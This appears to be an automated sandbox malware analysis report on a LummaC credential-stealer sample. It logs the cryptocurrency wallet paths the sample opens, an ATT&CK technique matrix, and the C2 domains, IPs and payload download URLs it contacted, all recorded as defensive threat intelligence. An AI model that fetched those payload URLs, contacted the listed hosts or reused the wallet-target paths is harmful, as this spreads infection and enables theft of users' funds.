Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 5024, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 5024, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	11 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	224 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	12 Process Injection	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	761 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	371 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	34%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
necklacedmny.store	188.114.96.3	true	true	unknown
presticitpo.store	unknown	unknown	true	unknown
thumbystriw.store	unknown	unknown	true	unknown
crisiwarny.store	unknown	unknown	true	unknown
fadehairucw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://necklacedmny.store/api	true	unknown
presticitpo.store	true	unknown
scriptyprefej.store	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
navygenerayk.store	true	unknown
founpiuer.store	true	unknown
thumbystriw.store	true	unknown
crisiwarny.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000003.2587170125.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2587281433.00000000052CC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2587281433.00000000052CC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/1OlA	file.exe, 00000000.00000003.2851386876.000000000099C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.microsoft3	file.exe, 00000000.00000003.2183909238.00000000009AB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/mine/random.exe	file.exe, 00000000.00000003.2851794439.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2850604178.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2567892404.00000000052DF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2567892404.00000000052DF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.microsoft:	file.exe, 00000000.00000003.2770153086.00000000009E0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2850604178.00000000009E3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000003.2587170125.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2587281433.00000000052CC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2570277943.00000000055B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000003.2587170125.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2587281433.00000000052CC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apivt9	file.exe, 00000000.00000003.2770153086.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2851794439.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2850604178.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/	file.exe, 00000000.00000003.2851386876.000000000099C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2587170125.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2587281433.00000000052CC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16:80/off/def.exeicrosoft	file.exe, 00000000.00000003.2851794439.00000000009E5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2567892404.00000000052DF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2567892404.00000000052DF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000003.2587170125.00000000052CB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2567892404.00000000052DF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2851386876.000000000099C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2851794439.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2850604178.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2570277943.00000000055B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.mozilla.or	file.exe, 00000000.00000003.2570218492.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000003.2587170125.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2587281433.00000000052CC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exee	file.exe, 00000000.00000003.2851794439.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2850604178.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store:443/api	file.exe, 00000000.00000003.2593215196.00000000009E4000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
188.114.96.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544877
Start date and time:	2024-10-29 20:42:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/5@5/3
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, 4.8.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.2.0.c.0.0.3.0.1.3.0.6.2.ip6.arpa, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe, PID 4596 because it is empty
Execution Graph export aborted for target file.exe, PID 5024 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 3488 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 5632 because there are no executed function
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:43:49	API Interceptor	870900x Sleep call for process: file.exe modified
20:45:07	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	wo4POc0NG1.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	r9gBM4l6Ip.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
188.114.96.3	zxalphamn.doc	Get hash	malicious	Lokibot	Browse	touxzw.ir/alpha2/five/fre.php
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/jI82Ms6K/download
	9D7RwuJrth.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	304773cm.n9shteam.in/jscpuGamegeneratorprivate.php
	DBUfLVzZhf.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	R5AREmpD4S.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	7950COPY.exe	Get hash	malicious	FormBook	Browse	www.globaltrend.xyz/b2h2/
	transferencia interbancaria_667553466579.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/Gitmx
	19387759999PO-RFQ-INVOICE-doc.exe	Get hash	malicious	FormBook	Browse	www.zonguldakescortg.xyz/483l/
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.rtpngk.xyz/876i/
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.fnsds.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
necklacedmny.store	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.96.3
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.162.95
	MUM - VESSEL'S PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.162.95
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.74.191
	http://assets.website-files.com/65f02117700897a29c49fb10/65f7c129cb837c2310c7044e_tisamijujute.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse	104.17.25.14
	-Payout Salary Benefits.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	188.114.96.3
	https://dartergary.wordpress.com/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.96.3
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.96.3
	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	buNtKcYHCa.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
